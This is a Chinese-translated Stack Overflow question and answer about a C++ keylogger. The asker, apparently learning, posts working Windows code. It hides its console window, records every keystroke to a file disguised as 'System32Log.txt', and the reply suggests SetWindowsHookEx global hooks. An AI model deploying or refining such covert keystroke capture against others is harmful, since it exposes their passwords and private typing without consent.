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我想在我自己的电脑上制作一个小型键盘记录器,以了解击键如何与 C++ 配合使用。我在网上找到了一些代码,只是对其进行了一些编辑,尽管我不确定如何做我想做的事情。
#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <winuser.h>
using namespace std;
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"System32Log.txt");
}
}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
我想修复它以正确存储“.”之类的内容。 “,”或更多,但我不确定,因为我不熟悉击键。另外,我想添加一些东西,使其占用更少的 CPU(目前在我的 i5 上为 25%),我可能应该使用 Sleep(value),尽管我不确定该选择哪个值。
最佳答案
快速浏览一下答案 here和 here了解有关哪些 Windows API 函数适合您的工作的更多信息。
<小时/>基本思想是使用 SetWindowsHookEx 在键盘上设置所谓的“Hook”函数(键盘或 Keyboard_LL - 不过您可能需要第一个)。卸载键盘记录器时,您需要将其取消 Hook 。设置 Hook 后,Windows 将在每次键盘事件后调用 Hook 函数。您处理它(将其记录在某处),然后使用 CAllNextHook 调用下一个 Hook 以继续在 Windows 中处理该事件。您需要在那里进行一些尝试和调试。
这就是全局钩子(Hook)(第二个链接提供了 MSDN 中的信息)。研究 SetWindowsHookEx 函数并尝试了解其背后的机制,您很快就会成功。您还可以在搜索中使用“hook”作为关键字来优化 stackoverflow 上的搜索(例如阅读此 here )
关于c++ - 制作键盘记录器,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/12954040/
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